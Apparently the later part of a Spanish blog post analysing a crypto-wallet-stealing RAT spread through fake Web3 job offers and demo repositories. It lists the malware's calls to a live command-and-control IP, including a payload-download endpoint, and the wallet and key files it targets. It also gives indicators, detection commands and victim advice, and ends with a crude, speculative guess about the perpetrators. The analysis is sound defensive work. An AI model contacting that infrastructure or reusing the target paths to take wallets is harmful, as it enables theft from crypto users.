POST http://144.172.105.189/api/service/process/
GET http://144.172.105.189:1224/client/106/212
GET http://144.172.105.189:1224/pdown
Un whois
rápido indica lo siguiente:
IP address 144.172.105.189
ISP FranTech Solutions
Usage Type Data Center/Web Hosting/Transit
ASN Unknown
Domain Name frantech.ca
Country 🇺🇸 United States of America
City Ogden, Utah
Un análisis de virustotal.com revela:
Un análisis vía Shodan.io da una idea de los puertos abiertos (puede variar según horario):
https://www.shodan.io/host/144.172.105.189
Indicadores de Compromiso (IOCs)
🌐 Direcciones IP:
144.172.105.189 (Servidor C&C)
📁 Archivos y Rutas:
~/.n3/ (Directorio temporal)
~/.npl (Payload de Python)
~/AppData/Roaming/Exodus/exodus.wallet
~/.config/solana/id.json
🔍 Patrones de Comportamiento:
- Instalación silenciosa de
socket.io-client
- Creación del directorio
~/.n3
- Conexiones al puerto 4661
- Ejecución de comandos con
windowsHide: true
Ahora que tenemos un entendimiento detallado de las capacidades del malware y su infraestructura, es momento de analizar cómo defenderse efectivamente contra esta amenaza.
🛡️ DETECCIÓN Y CONTRAMEDIDAS
🔍 "Do not trust, verify!"
Para Desarrolladores
Medida | Descripción | Efectividad |
---|---|---|
Verificación de Origen | Solo descargar de repositorios oficiales/confiables | 🟢 Alta |
Sandboxing | Ejecutar código desconocido en entornos aislados | 🟢 Alta |
Monitoreo de Red Maliciosa | Bloquear conexiones a IPs sospechosas | 🟡 Media |
Auditoría de Código | Revisar todo antes de ejecutar (y usar herramientas de IA) | 🟢 Alta |
Para Usuarios de Cripto
Medida | Descripción | Efectividad |
---|---|---|
Wallets Hardware | Usar dispositivos físicos para fondos importantes | 🟢 Crítica |
Segregación | Wallets separadas para trading y holding | 🟢 Alta |
Verificación | Confirmar URLs oficiales y extensiones | 🟡 Media |
Actualizaciones | Mantener navegadores y extensiones actualizados | 🟡 Media |
Detección
Aunque hay muchas otras herramientas avanzadas de desarrolladores de 3ros, voy a mostrar algunos métodos básicos de detección, usando comandos de shell estándar.
# Monitorear conexiones sospechosas
netstat -an | grep 144.172.105.189
# Verificar procesos sospechosos de Node.js
ps aux | grep node | grep socket.io
# Buscar archivos temporales maliciosos
find ~ -name ".n3" -type d
find ~ -name ".npl" -type f
# Chequear puertos específicos del malware
ss -tuln | grep -E ':(4661|4666|1224)'
Vectores de Ataque
🎭 Ingeniería Social:
- Ofertas de trabajo falsas en Web3/Blockchain
- "Proyectos demo" para entrevistas técnicas
- Repositorios falsos con código aparentemente legítimo
- Solicitudes de "revisión de código"
- Envío de actualizaciones de software falsas (ej., parches para Zoom)
🥷 Técnicas de Evasión:
- Ofuscación extrema de código
- Ejecución en segundo plano (
windowsHide: true
) - Instalación silenciosa de dependencias
- Múltiples capas de abstracción
- Anti-debugging integrado
🚨 Si sospechás que fuiste víctima de este ataque, cada segundo cuenta. Seguí estas recomendaciones inmediatamente.
⚡ RECOMENDACIONES URGENTES
Si ya fuiste víctima:
Acción Inmediata:
- Desconectar internet inmediatamente
- Transferir fondos a nuevas wallets desde otro dispositivo
- Cambiar todas las contraseñas desde un dispositivo limpio
- Formatear completamente el sistema
- Reportar el incidente a las autoridades
Investigación:
# Verificar conexiones activas
netstat -an | grep 144.172.105.189
# Buscar procesos maliciosos
ps aux | grep -E "(socket.io|\.npl)"
# Verificar archivos comprometidos
find ~ -name "*.n3" -o -name ".npl"
Prevención a Futuro:
Checklist de Seguridad:
- Hardware wallet para fondos principales
- Navegador dedicado solo para cripto
- 2FA habilitado en todas las cuentas
- Antivirus actualizado con protección en tiempo real
- Firewall configurado para bloquear IPs sospechosas
- Backup físico de seeds en lugar seguro
🏁 Llegamos al final de la investigación. Es momento de reflexionar sobre las implicaciones de esta amenaza y las tendencias futuras en ciberseguridad.
📝 CONCLUSIONES
Sofisticación del Ataque
Este malware representa un stealer extremadamente sofisticado e integral, que combina múltiples capacidades avanzadas:
Capacidad | Nivel | |
---|---|---|
Vectores de Ataque | 🔴 Múltiples | Ingeniería social + código malicioso |
Capacidades RAT | 💀 Completas | Control remoto total del sistema |
Evasión | 🟡 Avanzada | Anti-análisis + detección de VM |
Persistencia | 🔴 Multiplataforma | Windows, macOS, Linux |
Exfiltración | 💀 Masiva | 22+ wallets + credenciales completas |
Perfilado | 🟡 Integral | Análisis completo de víctima |
Proyecciones a Futuro
Creo que vamos a ver más variantes de este tipo de malware dirigido específicamente a profesionales del ecosistema blockchain, usando vectores de ingeniería social cada vez más sofisticados combinados con herramientas de IA que van a hacer vulnerables a muchos usuarios y plataformas.
Profesionales en Riesgo
Perfil | Riesgo | Impacto Potencial |
---|---|---|
Usuarios Web3 | 💀 CRÍTICO | Pérdida total de fondos |
Desarrolladores Blockchain | 🔴 ALTO | Acceso a repositorios + fondos |
Traders/Inversores | 💀 CRÍTICO | Pérdida masiva de portafolio |
Empleados Cripto | 🔴 ALTO | Acceso corporativo + personal |
Sobre los Perpetradores
Parece poco probable que esto haya sido obra de un gordo en un sótano, o un adolescente tratando de impresionar a sus amigos. Podría ser un adolescente gordo de NK o país similar. Es evidente que invirtieron largas horas de desarrollo y testing para llevar a cabo crímenes de no poca magnitud.
Mantené tus datos seguros,
nadie lo va a hacer por vos.
⚖️ Disclaimer Legal
Este análisis es proporcionado solo con fines educativos y de prevención.
❌ NO ejecutes el código malicioso analizado
❌ NO distribuyas ningún componente del malware
✅ SÍ compartí este análisis para prevenir potenciales víctimas
**El autor no se hace responsable del mal uso de esta información.**
Stay safuuuuu 👋